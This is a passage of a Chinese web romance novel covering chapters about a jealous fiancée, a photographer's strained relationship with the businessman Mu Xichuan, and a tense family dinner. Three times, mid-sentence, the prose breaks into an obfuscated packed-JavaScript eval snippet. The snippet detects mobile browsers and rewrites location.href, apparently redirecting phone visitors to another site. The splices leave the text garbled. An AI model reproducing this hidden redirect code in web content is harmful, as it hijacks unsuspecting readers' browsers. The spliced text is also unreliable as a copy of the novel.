这话说的过于有指向性了,许烛噌的一下站了起来,指着孙耀南道:“你少跟那儿阴阳怪气了,孙耀南,我告诉你,阿川是我的,谁都别想把他从我身边抢走!有件事我觉得还是有必要再提醒你一下,我跟阿川已经订婚了,他现在是我的未婚夫,才这么几天你该不会失忆了吧?” 孙耀南像是听见了什么天大的笑话般,一脸的不可置信:“慕哥跟你订婚只是为了合作,订婚那天他连戒指都没戴,我看失忆的人是你吧?你还真以为自己有机会嫁进慕家呢?” 被人当众点破了窘境又无力反驳,许烛开始口不择言:“你这么护着姜临夏,该不会是看上她了吧?” “你特么的放屁!你以为全世界都跟你一样呢,专盯着有妇之夫不放?”孙耀南也急了。 这种子虚乌有的谣言往往都是说者无心听者有意,这话如果哪天传到慕锡川的耳朵里,真要是有什么误会,他们之间这么多年的朋友估计都没得做了。 曹洋夹在两人之间坐立难安,他左看看许烛,右看看孙耀南,劝架的话却始终没能说出口。 这种时候,不管他说什么都难免会有偏有向,而两边又都是多年的好友,偏向哪一边都不太好。 就在两人吵得不可开交,眼见着快要厮打起来之际,包厢的门被人从外面推开,紧接着,一名身着制服的服务生引着慕锡川走了进来。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375499|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他进门,刚刚还准备还击的许烛瞬间收了声,孙耀南也适时闭了嘴。 许烛迅速冲到门口,一把挽住慕锡川的胳膊:“阿川,你怎么才来啊?我点了你最爱的鱼粉汤,还好没凉呢,我给你盛一碗吧。” 说着,便去一旁的餐具架子上取了一套骨瓷碗匙,上演起一部温婉贤惠的大戏来,仿佛刚刚那个撒泼发狠的人与她毫无关系。 盛好汤,她把碗递到了慕锡川的面前,却发现他正盯着丛嫣看,许烛有些不高兴,抱着慕锡川的胳膊娇嗔道:“阿川,你怎么老是看着她看啊?” 慕锡川瞥了许烛一眼:“你朋友?” “是啊,这是我的好闺蜜,嫣嫣。”说着,她莞尔一笑,又朝着丛嫣眨眨眼,“嫣嫣,这位就是我常跟你提起的阿川,我们认识很多年了,感情一直很好的。” 她到底是没敢说出那句“未婚夫”来,但一旁的孙耀南还是被她这副惺惺作态的模样恶心到。他独自端起面前的酒杯,一饮而尽,脸上的表情怎么看都十分不爽。 慕锡川注意到他的反常,还没等张嘴询问,却听见丛嫣先开口:“慕总,您好,我叫丛嫣,是小烛的好朋友。” “丛嫣?”慕锡川故作思忖道,“丛小姐的名字听着耳熟,我好像听堂弟提起过,你们认识?”他故意没说自己堂弟姓甚名谁,就是为了试探二人的关系。 就在丛嫣犹豫着该不该自报家门的时候,许烛抢过了话头:“嫣嫣是慕宸赫的女朋友,你听他提起过也没什么好奇怪的。”她并不清楚这其中的利害关系,便大咧咧地将自己所知道的和盘托出。 “哦?原来是我堂弟的女朋友啊,难怪呢。”慕锡川摆出一副恍然状,对着许烛循循善诱道,“那你们是怎么认识的?” 许烛自小骄纵惯了,从来看不懂别人眼色,还以为慕锡川是在关心自己,于是絮絮叨叨地讲起了跟丛嫣认识的经过:“我们是大学校友,当年我一个人在国外读书,孤苦伶仃的,没什么朋友,只有嫣嫣主动来找我玩儿,一来二去我们就成了最好的朋友啦。不过后来我才知道,原来嫣嫣跟慕宸赫是一对儿,他们高中的时候就认识了,你说巧不巧!” “是挺巧的。”慕锡川点点头,难得附和道。 “对了,”许烛忽然又想到什么,“嫣嫣的爸爸跟慕宸赫还有合作呢,是吧,嫣嫣?” 听到这儿,慕锡川倏地转过头,面无表情地看向丛嫣:“是么?” 看来陈宇的消息没有错,慕宸赫的确打着跟丛家合作的旗号,明目张胆把公账上的钱揣进自己口袋里。 至于当初丛嫣会主动找许烛做朋友,看来也不是巧合,应该也是受了慕宸赫的指使,让她先跟慕锡川身边的人扯上关系,再一点点渗透进他们的圈子里,而最终的目标还是慕氏集团这块肥肉。 整个包厢的人都感受到了气氛的诡异,只有许烛还在为自己脑海中幻想出的爱情盲目快乐着。 一旁的丛嫣更是深深低下头去,不敢看慕锡川的眼睛,心虚应道:“慕总,我就是一个小演员,家里生意上的事都是我爸爸在管,我从不过问的,实在是不清楚。” 她好想伸手捂住许烛的嘴巴,让她别再说话,可她不敢,这样突兀的行为就是在向慕锡川昭告自己心怀不轨。 包厢里的气氛可以用胶着来形容,就在所有人都屏息静气的时候,慕锡川却忽然轻笑一声:“你紧张什么?合作就合作,难不成是他们做了什么违法的事,怕我知道?” 听了这话,丛嫣脸都白了,慌张解释道:“怎么会呢,慕总,您千万别误会,他们的合作....不是,我是说,他们就算真有合作,肯定也是合理合法的,不会犯错的。” “那就好。”慕锡川没再深究,他端起酒杯,隔空朝丛嫣示意了一下,仰头一口喝完,算是结束了刚刚的话题。 丛嫣赶忙也端起面前的酒杯,陪着一饮而尽。 见警报解除,一直没敢出声的曹洋终于找到了说话的机会,他问慕锡川:“慕哥,明天周末了,你要陪嫂子吗?” 慕锡川:“她有工作。” “那咱们去射箭吧?好久不玩,我都快想不起来怎么拉弓了。” 慕锡川想了想:“行,明天晚上吧,白天我有事。” “好啊好啊,那我等你电话。” 虽然有了那个自欺欺人的未婚妻身份,可许烛也明白,慕锡川之所以会和她订婚,只是为了推进两家的合作而已。而那个真正在他心中占据一席之地的人,是姜临夏。 一想到眼前这个几近完美的男人并不属于自己,那一刻,许烛心中的嫉妒和仇恨达到了巅峰。 她悄悄攥紧拳头,并在心中快速盘算着:不能再这样坐以待毙了,得尽快找时间去见一下姜临夏,让她知道自己才是慕锡川的未婚妻。 而她,不过是慕锡川的一时兴起罢了,永远上不了台面。 15. 第 15 章 跟丛嫣约好的拍摄时间是上午九点钟,七点不到,姜临夏就已经到了棚里,开始准备拍摄要用的东西。 以往这些前期准备工作都是由摄影助理做的,但今天姜临夏却亲力亲为--她实在睡不着,天还没亮就毫无预兆地醒了过来。 昨晚慕锡川接了个电话,扔下她就走了,并且说到做到,说不回来了,就真的一夜未归。 以前他也经常留姜临夏一个人过夜,她早都习惯了这种上了床各取所需,下了床互不干扰的相处模式,也从未觉得有任何不妥。 可最近不知道是怎么了,每晚回家后独自面对着偌大的房子时,或是夜里慕锡川吃饱餮足后径自离开,姜临夏总会觉着心里空落落的,伸出手想要抓住点儿什么来填补这份空虚,却又什么都抓不到,徒留无奈。 或许是慕锡川的某些类似爱情的行为,让姜临夏对他们之间的关系逐渐产生了不切实际的期待。可越是期待,就越是容易失落满怀。 在床上烙饼似的折腾了好一阵子,姜临夏依旧毫无困意,干脆起床去了棚里。与其无意义地担忧未来,倒不如用这时间去工作,人只有忙起来才不会胡思乱想。 吃完周笛的爱心早餐,姜临夏看了眼时间,8:52,距离开工还剩下八分钟。 门外忽然响起一阵汽车的轰鸣声,随后,两个年纪相仿的女人一前一后走了进来。 其中梳着齐肩短发的那位正是丛嫣,之前在研究她往期拍摄风格的时候,姜临夏搜索过这个人,对她的长相颇有印象。 至于旁边那位,姜临夏猜测是丛嫣的朋友,毕竟没有哪个普通小助理会戴着块价值百万的名表出来伺候人。 果不其然,进门后,丛嫣主动向姜临夏介绍道:“姜小姐,这位是我朋友,今天是过来观摩我拍照的,不影响你工作吧?” “不影响的。”摄影本身就不是什么私密性的工作,拍外景的时候经常有路人驻足围观,她早就习惯了。 姜临夏指了指身后的联排沙发:“那边是休息区,这位小姐可以去那儿休息。今天的拍摄估计要到下午四五点钟才能结束,要是不介意的话,二位中午可以跟我们一起吃个工作餐。” 一上午的拍摄很快结束,周笛拿了两份工作餐去找姜临夏,两人对坐在餐桌旁埋头吃着。 感觉到光线忽然变暗,姜临夏抬起头,就见丛嫣那位不知名的朋友正站在桌旁,居高临下地看着她。 “姜小姐,过阵子我想跟你约拍一组照片,不知道你有没有时间?” 姜临夏放下筷子,也站起身来:“方便问一下,您怎么称呼?” “我姓许。” 姜临夏点点头:“许小姐想拍什么样的照片?有固定的主题或是想要的风格吗?” “有,”许烛看着她,一字一句道,“婚纱照。” “婚纱照?”姜临夏重复着,有些意外。 许烛看着她:“是啊,前几天我刚刚跟我的未婚夫订婚,打算过段时间就拍婚纱照。怎么,姜小姐是不愿意接我的单子吗?” 姜临夏笑笑:“许小姐您误会了,倒不是我不愿意接,但我确实从没拍过婚纱照。一来没有拍摄经验,成品效果很可能不尽如人意,到时候您再换人重新拍很浪费时间。二来,我们工作室也没有现成的合作场地,如果临时去找的话,既增加了预算成本,又无法保证质量,难免会给婚礼留下遗憾。要不我给许小姐推荐一位摄影师吧,他是专门做婚礼这块的,能力也在我之上,您可以放心合作。” 姜临夏自认为已经拒绝得很明确了,却没想到许烛一口回绝:“不必了,我就想找你拍。钱不是问题,付定金还是付全款都可以。对了,你们这儿谁负责签合同?” 一席话听得姜临夏和周笛两个人面面相觑,也不知道这个许小姐究竟什么来头,怎么偏偏就认准她们这个名不见经传的小工作室了? 不过话已至此,也不好再拒绝了,本着和气生财的原则,周笛带着许烛去了里面的工作间。从起草合同到签字付定金,整个过程不过短短十分钟就结束了。 合同签完,许烛又绕到前面去找姜临夏:“姜小姐,咱们留个联系方式吧?要是哪天我突然对婚纱照有了新的想法,也好方便联系你。” “好。”姜临夏拿出手机,跟许烛交换了电话号码。 目送许烛离开,周笛一阵莫名:“临夏,刚刚那个许小姐,你们之前认识吗?” “不认识啊,怎么了?” “没,我见她从早上来就一直坐那儿盯着你看,还以为你们认识呢。而且,你不觉得这人很奇怪吗?”说着,周笛神秘兮兮地凑到姜临夏面前,压低声音道,“你说,她拍婚纱照问什么不去找专门的摄影师,非要跟你约?明明签合同的时候急得不行,可问她拍摄时间,她又定不下来。你说,这人该不会是有什么臆想症吧?可能她根本就没男朋友,都是幻想出来的呢!要不然就是给人当小三的,男的不想娶她,她只好自己出来装模作样预约一下,自我慰藉呢!” 其实姜临夏也察觉到那人看向自己时的眼神有些奇怪,可又说不好问题究竟出在哪里。 不过她也没再纠结,被爱情逼疯的女人做出什么举动都不为奇。 说不定哪天她自己也疯一把,也拉着慕锡川去拍一组苦情婚纱照。不给婚姻,总能给个念想吧,等哪天真分了,至少也算留个见证。 下午开机的时候,只有丛嫣一个人,一直到第二天,许烛都没再出现过。跟在丛嫣身边的人换成了一个年轻小姑娘,小姑娘手里提满了道具服装,身上还挂着个大水杯,十足的助理模样。 周笛天生爱说话,加之昨天又因为约拍的事,她现在对许烛的情感状况十分感兴趣。趁着丛嫣化妆的工夫,她赶紧凑过去,状似不经意地问道:“丛小姐来啦!今天您朋友怎么没一块儿来玩?” 丛嫣透过化妆镜瞟了眼姜临夏,幽幽开口道:“她今天没空,要陪未婚夫参加家宴呢。” 声音不大不小,刚好落到了在一旁调设备的姜临夏的耳朵里。 家宴? 姜临夏摸出手机,看了眼日期,八月三十一号,今天刚好也是慕家家宴的日子。真有这么巧的事? 还是说,那位许小姐口中的未婚夫,其实就是.... 但她很快否定了这个猜测,那个许小姐如果真的跟慕锡川有什么关系,实在没必要以这样的方式出现在她面前。 今天的拍摄任务很少,主要就是给昨天的工作收个尾,赶在午饭时间前就收工了。 这会儿距离裴临的航班落地还剩下一个多小时的时间,来不及收拾残局,姜临夏换了衣服就往外跑,一边跑还不忘叮嘱周笛:“笛子姐,今天裴临回国,我得去接伯父伯母了,东西就拜托你帮我收一下了啊。你要是自己忙不过来,就去隔壁棚里叫几个人过来帮忙,到时候结一下劳务费就行了。” “知道啦,你就别操心了,交给我吧!” 出门后,姜临夏随便找家餐馆吃了口饭,就接上裴青山和王艾君夫妇二人,开着车朝机场驶去。 裴临这一走就是六年,在国外学业和工作的压力都很大,还要抽空做实验,假期都没得休息,他这六年里就只回过一次陵城。 眼见着宝贝儿子回来了,从此以后可以一家团聚,两位老人的情绪都不免有些激动。 飞机两点四十落地,二十分钟后,裴临推着行李箱出现在旅客到达口。姜临夏离老远就看见了他,一左一右挽着二老朝他小跑过去。 “夏夏!爸,妈!我回来了!”裴临也迎着他们往前跑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375500|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “小临总算回来啦!可把妈妈想坏了!”王艾君一把拉住裴临的手,摸了摸头,又摸了摸脸,像是在检查宝贝儿子有没有把自己照顾好。 一向不擅长表达爱子之情的裴青山,这会儿也红了眼眶。 看着这一幕,姜临夏有些动容,真心实意道:“哥!欢迎回家。” 去停车场的路上,裴临一边走一边来回打量着姜临夏,看得她都有些不自然了,抬手摸了摸自己的脸颊:“我脸上有东西?” “没有,”裴临抬手揉了揉姜临夏的头发,柔声道,“我就看看你这几年有没有照顾好自己,怎么比我走的时候瘦了呢?是不是工作太忙,没有好好吃饭?” “我吃得好着呢!”姜临夏理了理被他揉乱的头发,反驳道,“伯母经常叫我来家里吃饭,你不在的这段时间,我把你的那份都给吃完了!” “那怎么也没见你长肉?” “我才不想长肉呢,穿裙子不好看。” “我可提醒你哦,不要为了保持身材就不好好吃饭,你现在已经很瘦了,最好能再胖十斤,那才是最健康的状态。” “倒也不必这么健康。” 两人一路叽叽喳喳走在前面,裴青山夫妇落后几步跟在后面,时隔多年再次看见这一幕,老两口几欲落泪。只有他们自己才知道,这看似平常的团聚究竟有多难得。 晚饭是在市区一家中餐厅吃的,出国多年,知道裴临肯定对国内的美食格外想念,姜临夏特意定了他喜欢的店。 半盘酥肉下肚,裴临满足地感慨道:“这是我这些年来吃过的最美味的一顿了!” 趁着姜临夏去卫生间的间隙,王艾君拉过裴临,一脸严肃地问他:“小临,你跟妈妈说实话,你是不是喜欢夏夏?这次决定回国工作,也是因为她吗?” 知子莫若母,没想到老妈一眼看出了他的心思,裴临一愣:“我决定回国不全是因为她,还有您跟我爸的原因。而且,我自己本身也更喜欢国内的生活,从来也没想过要留在外面。”他解释了很多,却唯独没有否认自己对姜临夏的感情。 见他这个反应,王艾君心里也就有数了。 她的确很喜欢姜临夏这孩子,甚至视如己出,可却并不看好他们两个,王艾君叹了口气,说出了自己的担忧。 “小临,妈妈不是想阻拦你谈恋爱,可你跟夏夏都是我们看着长大的,这么多年了,我能看得出来,夏夏一直把你当成亲哥哥看待,并无男女之情。我明白你想追求自己的幸福,但你切记,千万不要冲动,别到时候恋爱不成再伤了兄妹的情分。” 裴青山也是同样的态度:“你妈妈说的对,虽然恋爱自由,但你一定要把握好分寸,这么多年积攒下的亲情很难得,万万不可因为一时的冲动而断送了。” “爸妈,你们放心吧,我心里有数。”裴临明白二老的意思,可喜欢一个人的心也不是他能控制得了的。 离开国内的这几年里,他终于想明白了一件事:如果从未争取过,就这样看着姜临夏有天嫁作他人妇,他是绝对不会甘心的。 哪怕再回不去原来的位置,他也要为了自己的幸福搏一搏。 从餐厅出来后,姜临夏独自开车回家。推开门,屋内一片漆黑。 慕锡川没回来。 一直到第二天下午,她都没见到慕锡川的人影,甚至连条消息都没等来,倒是等来了一通让她有些意外的电话。 看了眼屏幕上显示的人名,姜临夏犹豫着按下接听键:“许小姐?您是想预约婚纱照的拍摄日期吗?” 许烛:“不是,我今天找你是想聊点别的。” 姜临夏忽然有种不好的预感,但还是硬着头皮问到:“别的,什么?” 许烛:“聊聊我的未婚夫,慕锡川。” 16. 第 16 章 陵城,慕家老宅。 十几个人齐聚在别墅一楼的客厅里,原本宽敞的组合式沙发,这会儿堪堪能容纳下屋内的全部人口。 这些人大都姓慕,是慕家的各路旁支。其中那个众星捧月般坐在人群正中央的男人,正是陵越集团的董事长,慕春林,也是慕锡川的父亲。 慕春林如今已年过半百,但眉宇间依旧带有几分英气,一眼看去就知道身份地位不凡。 陵越集团当初就是他一手创办的,从一家名不见经传的小公司,历经无数坎坷波折,一路发展壮大,到如今的商业帝国雏形,辉煌无限。 只是这份辉煌,却在三十年后,被他的儿子慕锡川亲手打破。 六年前,慕锡川大学毕业后进了陵越总部工作,初露锋芒便被不少业内人士看好,加之他又是慕春林唯一承认过的亲儿子,也是陵越集团唯一的合法继承人,大家都笃定,未来陵越一定会被交到他的手上。 随着慕锡川一天天成长起来,集团内部越来越多的骨干力量主动归顺于他,哪怕慕春林还在位,每每遇上重大决策,集团高层甚至股东们,都会先去询问慕锡川的意见。 眼见着自己大权不保,慕春林干脆以退为进,以身体不好为由,主动提出退居二线。 同时在慕锡川的身边安插了不少眼线,监视着公司的运营状况,也暗中形成一股力量与其抗衡。 慕春林知道,虽然儿子是亲的,但慕锡川一直因为母亲的死对他这个老子耿耿于怀,说恨之入骨都不为过。若是让那小子一朝得了势,他的日子就再不可能好过。 他压制了慕锡川这么些年,这下换成慕锡川当了上位者,慕春林不得不提前为自己留条后路。 几个女人凑到一处拉家常,男人们则互相倾诉着公司经营中的种种心酸,又打听彼此最近看好了什么新领域,也想跟风捞上一笔。 趁着没人注意到自己,一个大概二十七八岁的年轻人绕过众人,走到慕春林的面前蹲下,忿忿道:“大伯,前段时间慕锡....我哥,他弄了块地皮,您听说了吧?说是要搞房地产开发来着。结果他直接把项目交给了总部的人去做,绕开了我们碧湖地产,哪有这个道理?陵越集团的地产项目自古以来都是我们碧湖地产负责的,这可是您亲自定下的规矩,现在他却趁着您休养在家,就擅自把这规矩给打破了,让我们碧湖的人还怎么活?这事儿您可得替我做主啊!” 说话的年轻人正是慕锡川口中的那个堂弟,慕宸赫。 慕春林了解慕宸赫的德行,一定是他私底下搞了什么小动作被慕锡川发现了,否则以慕锡川的性格,应该懒得去动他的那块小蛋糕。 “是不是你最近做了什么事,惹阿川不高兴了?” 慕春林一针见血,扎得慕宸赫有些心虚,但他还是无理辩三分:“怎么会呢!大伯,我以前确实干过不少不靠谱的事儿,可我对您的衷心日月可鉴啊!您绝对不能见死不救!碧湖地产要是垮了,受牵连的又不是只有我一个人,您不也....” “你这是在威胁我?”慕春林轻飘飘地看了眼慕宸赫,语气瞬间冷了下来。 见状,慕宸赫赶紧又换上一副谄媚模样:“我哪敢威胁大伯您啊?我这不也是为了咱们公司的未来着想嘛,要是您能劝动我哥手下留情,咱爷儿俩以后也就不用为讨生活犯愁了。” 眼看着慕春林脸色越来越难看,慕宸赫的亲爹慕各生赶忙过来帮腔:“是啊,大哥,你就帮帮宸赫吧,这孩子最近为了公司的事忙里忙外,茶饭不思,我看着都心疼。宸赫心好,就是说话从来不知道过脑子,没个长进!” 慕宸赫瞥了他爸一眼,赶紧点头哈腰地附和道:“我的错,我的错,都怪我这张嘴没个把门的。” 虽然慕春林并不想跟慕锡川正面交锋,但碧湖地产归根结底是他实权掌控的产业,这种时候站出来帮慕宸赫一把,也是在为自己牟利。 权衡一番后,他摆摆手:“知道了,等阿川来的,我问问他。” 别墅内维持着热闹和谐的气氛,直到大门被人从外面打开--慕锡川出现在门口,身边还跟着盛装打扮过的许烛。 见他回来,几乎是瞬间,别墅内所有人同时闭上了嘴巴,四周顷刻间安静下来。 慕锡川连鞋子都没换,直接踩着地板走了进来,环顾四周后,忽然轻笑一声:“怎么都不说话了?是我打扰你们大家欢聚了?” 依旧没人敢出声。 慕春林清了清嗓子,开口打破这尴尬的沉寂:“就你来得最晚,大家都饿着肚子等你开饭呢。”他一边说着,一边起身走到餐桌的主位上坐了下来。 慕锡川紧挨着慕老爷子坐下,胳膊搭在桌沿上,真诚发问:“我又不是厨子,等我开什么饭?” “你....” 知道他这是在故意抬杠,慕春林捺着性子没去理会,喊保姆:“小付,可以上菜了。” “好嘞,慕先生。” 饭菜很快上齐,看着慕锡川夹起一块鱼肉放进嘴里,众人才纷纷拿起筷子,静悄悄地去吃面前盘子里的食物。 没吃两口,慕春林就放下了筷子,状似不经意地对慕锡川提起:“阿川,听说你最近得了块地,打算搞酒店开发?” “嗯。”慕锡川头也没抬地应道。 慕春林:“把这个项目交给碧湖地产做吧。” 闻言,慕锡川的视线终于离开了餐桌,落到慕春林身上:“什么?”有那么一瞬间,他以为是自己耳朵出了问题。 被他盯得有些不自在,慕春林再次清了清嗓子,道:“陵越的地产项目一直是碧湖地产负责的,碧湖的员工肯定要比你手底下的人更擅长这个领域,也更适合接手开发。况且,你手里那么多项目都在盈利,就别握着酒店开发这么点儿蝇头小利不放了。” “是啊,阿川,你爸说的没错。”慕各生见缝插针道,“像陵越这么大规模的企业,你一个人怎么管得过来呢?那么多大项目都需要你挂心,这种微不足道的小项目还是交给宸赫打理吧,也好让他替你分忧。毕竟你们是手足血亲,兄弟同心才好其利断金嘛。” 算盘打得倒是响,只可惜慕锡川并不是那种会给人留情面的人:“替我分忧?可我怎么听说,你儿子负责的碧湖地产近期一直都在亏损呢?我倒是有心想让他来分忧,就怕他没这个能力啊。” 没想到他竟然这么快就察觉到了公司持续亏损的事,慕宸赫心虚不已,始终没敢抬头跟慕锡川对视。 慕春林对此并不知情,一听说公司亏损,皱紧眉头问慕锡川:“什么意思?碧湖地产为什么一直在亏损?” 慕锡川的视线在那对父子间逡巡,笑得玩味:“是啊,为什么一直在亏损呢?你有管别人闲事的工夫,不如多关心关心自己的产业吧,老爷子。” 知道这个话题聊不下去了,慕春林看了眼坐在一旁的许烛,问他:“你们两个的婚期定在了什么时候?” 慕锡川皱了皱眉:“我什么时候说要结婚了?” 慕春林瞪圆了眼睛:“不想结婚,那你跟许家订婚做什么?” 慕锡川不屑道:“我不过就是跟许总谈个合作,你还指望我把自己也搭进去啊?” 慕春林看不惯他那个态度,提醒道:“许宗瑞要是知道你这订婚是假的,在耍他们家玩,你觉得他会放过你吗?” 慕锡川不禁嗤笑:“放过我?我慕锡川是怎么走到今天的,老爷子你应该最清楚了,我可不是被谁一步一步放过来的。”言语间,眼神逐渐透出狠厉。 “当然,我也不会放过任何一个敢在我背后动手脚的人。” “我还是那句话,想要在陵城平安无事地度日,就好好待在自己的位置上,别总惦记那些不属于自己的东西。”他伸手依次指了指慕春林、慕各生和慕宸赫,“你们三位,共勉。” 说完,慕锡川端起碗埋头吃饭,徒留那三人隔着餐桌面面相觑,敢怒不敢言。 然而慕家人之间的这一番较量,却狠狠扎了许烛的心。 她当然心知肚明自己跟慕锡川的订婚只是为了项目合作,两家企业对外宣称强强联手,方便把声势做大,双方股价也会随之上涨。 可亲耳听见慕锡川在家人面前说出实情,还是用那种极为不屑的语气,全然不顾她的面子,许烛心里很不是滋味。 在戳完第四十七下面前的那块牛排后,许烛突然想到什么,拿出手机,悄悄拍下一张照片。 照片中,她跟慕锡川的胳膊紧紧挨靠在一起,高级西装配上定制礼服裙,气氛暧昧至极。不用说也能让人对他们的关系浮想联翩。 拍完照片,她又翻出了姜临夏的电话号码,对着那串数字反复看了几遍,一个决定在许烛心中逐渐成型。 姜临夏,你霸占了阿川这么多年,现在也该还给我了。 看着慕锡川慢条斯理地动筷子,慕春林顿了顿,再次开口:“阿川,宸赫的能力的确不如你,但他这些年在陵越也不容易,没有功劳也有苦劳。我知道你是因为以前的旧事对他们家有芥蒂,但你妈妈毕竟都已经走了这么多年了,况且,也无法证明当年的事跟宸赫妈妈有直接关系。这么多年宸赫妈妈都不敢踏足慕家一步,多大的罪过也赎的差不多了,都是一家人,你就不要再计较了吧。” 闻言,慕锡川忽然放下筷子,蹭的站了起来,居高临下地睥睨着慕春林,眼神冰冷得仿佛是在看一个死人般:“不要在我面前提起我妈,你不配。还有,计不计较是我的事,不需要别人来教,你还是看好自己的烂摊子吧。” 慕春林:“你什么意思?” 慕锡川扯扯嘴角,笑得意味深长:“你觉得现在的陵越,还有多少是你的人?” 说完,将手中的餐刀一把插进红丝绒蛋糕里,丢下一句“没一个合胃口的”,转身出了老宅的大门。 众人还没反应过来,别墅的大门就已经开了又关,速度之快,连许烛的那句“阿川”也没来得及喊出口。 面对一屋子慕家人无声的注视,她这会儿走也不是留也不是,处境十分微妙。 过了好半天,慕各生才第一个回过神来,伸手指着大门的方向,声音有些激动道:“真是反了他了!当儿子的居然骑到老子头上来了!哥,这你都能忍?” 慕春林被他甩了脸色,正愁没处发泄呢,冷声怒道:“坐下!吃你的饭!” 忽然又想到了什么,他转头看向慕宸赫:“对了,宸赫,刚刚阿川说的碧湖地产亏损,是怎么回事?” -- 第二天上午十点,姜临夏按照许烛给的地址,来到了一家咖啡馆。刚一进门,就看到一个女人朝自己招手示意:“这里,姜小姐。” 姜临夏径直走了过去,并没有纠结她是如何认出自己的,毕竟真心想要调查一个人很容易,在如今这个信息时代,没有人有隐私。 许烛把咖啡推到姜临夏的面前:“这家的蓝山咖啡我很喜欢,跟我在牙买加喝的味道很像,你尝尝看。” 姜临夏开门见山:“不必了,许小姐有什么话就直说吧,我很忙,咱们就别把时间浪费在寒暄上了。”她并不关心咖啡是不是正宗,也没心情听许烛在那儿炫耀自己渊博的见闻。 “好啊。”许烛讪讪收回手,拿起一旁的手机,翻出昨晚偷拍的那张照片递给姜临夏,“我说阿川是我的未婚夫,空口无凭,你可能不信,那你看看这张照片呢?你们在一起那么长时间,应该能认出这只手是谁的吧?” 姜临夏的视线落在手机屏幕上,映入眼帘的是两只紧紧挨在一起的胳膊。 照片虽然没有拍到人脸,但男人手腕上的那枚袖扣她认得,那是她用自己赚到的第一笔钱买下,送给慕锡川的礼物。 袖扣是姜临夏托人定制的,表面还有一个她亲手刻上去的字母X,是慕锡川的锡,也是姜临夏的夏,这样独特的袖扣绝不可能再有第二副。 难怪从昨晚到现在,慕锡川连个消息都没有,原来是在陪自己的未婚妻。 姜临夏没说话,但许烛知道她认出了慕锡川的手臂,于是乘胜追击,讲起了自己和慕锡川之间的过往。 “我跟阿川从小一起长大,是真正的青梅竹马,两小无猜。我们感情一直都很好的,我也很爱他,之所以四年前我们会分开,让你趁虚而入,只是因为那时我要出国读书,迫不得已罢了。男人嘛,忍受不了寂寞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375501|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就只能随便找个女人排解一下,可以理解。不过既然现在我回来了,而且我跟阿川也已经订婚了,许小姐最好还是识趣些,离开阿川,之前的事我都可以不跟你计较。” 见姜临夏一直没反应,许烛有些不耐烦,伸出手在她眼前晃了晃:“喂,姜临夏,你有没有在听我说话?” 姜临夏忽然抬起头,问她:“是哪天?” 许烛没懂:“什么哪天?” “你们订婚,是哪天?” “八月四号啊,怎么了?” 八月四号....姜临夏努力回忆着,那天是她进组的第二天,一整天都在外面录节目,中午吃饭的时候她偶然刷到过一条关于陵越集团总裁订婚的热搜。 当时那条热搜很快就消失了,她还以为是自己看错了,晚上又旁敲侧击地向慕锡川求证,他也并没承认。 姜临夏也觉得这热搜有些离谱,他一个如此抗拒婚姻的人,怎么可能突然跑去订婚呢?便没再纠结下去。 可现在回想起来,当时慕锡川也只是让她别胡思乱想,却并没有否认订婚的事。 怪不得他会这么好心地把自己送去宁城录节目,原来是嫌她在这里碍事。或许,也是想把这当作是对她的补偿吧,反正慕锡川那个人一向财大气粗。 所以,那天一大早慕锡川在机场接到的电话,还有前阵子夜里十点钟把他从床上叫走的那通电话,应该都是许烛打来的。 这样想来,一切也就都说得通了。 姜临夏忽然觉得好笑,慕锡川想甩开她,明明可以直说的,反正他们最初在一起就不是奔着结婚去的。 况且,都在一个床上睡了这么多年了,慕锡川难道还不明白吗,她虽然爱他,但始终不会舍弃尊严,只要他提出分开,姜临夏是绝不会纠缠的。 许烛拿不准她在想什么,为了能让姜临夏知难而退,她只好重拳出击,专捡些刺耳的话来说。 “姜临夏,你应该知道的,像我和阿川这样的家世,是不可能随随便便找个人结婚的,就算他愿意,慕老爷子也不可能同意的。所以,不论你们在一起多久,也不管他对你说过多少甜言蜜语,那都不过是在床上哄女人的鬼话罢了。最终阿川总要回归正道的,你觉得在慕家和你之间,他会怎么选?我劝你还是自己先放手吧,别到时候闹得太难看,对谁都不好。” 都说哀莫大于心死,刚刚把前因后果都想通了,这会儿姜临夏反倒有种释然的感觉,她如同一个局外人般看着许烛:“你说你和慕锡川是青梅竹马,感情很好,既然这么好,又怎么会给了我趁虚而入的机会呢?而且,你在国外的这四年里,连慕锡川的面都没见过一次,你是觉得在他心里你不值那张机票钱,还是说,他想你想到连床都下不了了?” 许烛听出了她话中的讽刺,一时间却又无法反驳,只能道:“姜临夏,你阴阳怪气也没用,阿川是不可能为了你和我家闹翻,更不可能放弃整个慕家。只要有我爸和慕伯伯在,你这辈子都不可能进慕家的门。” 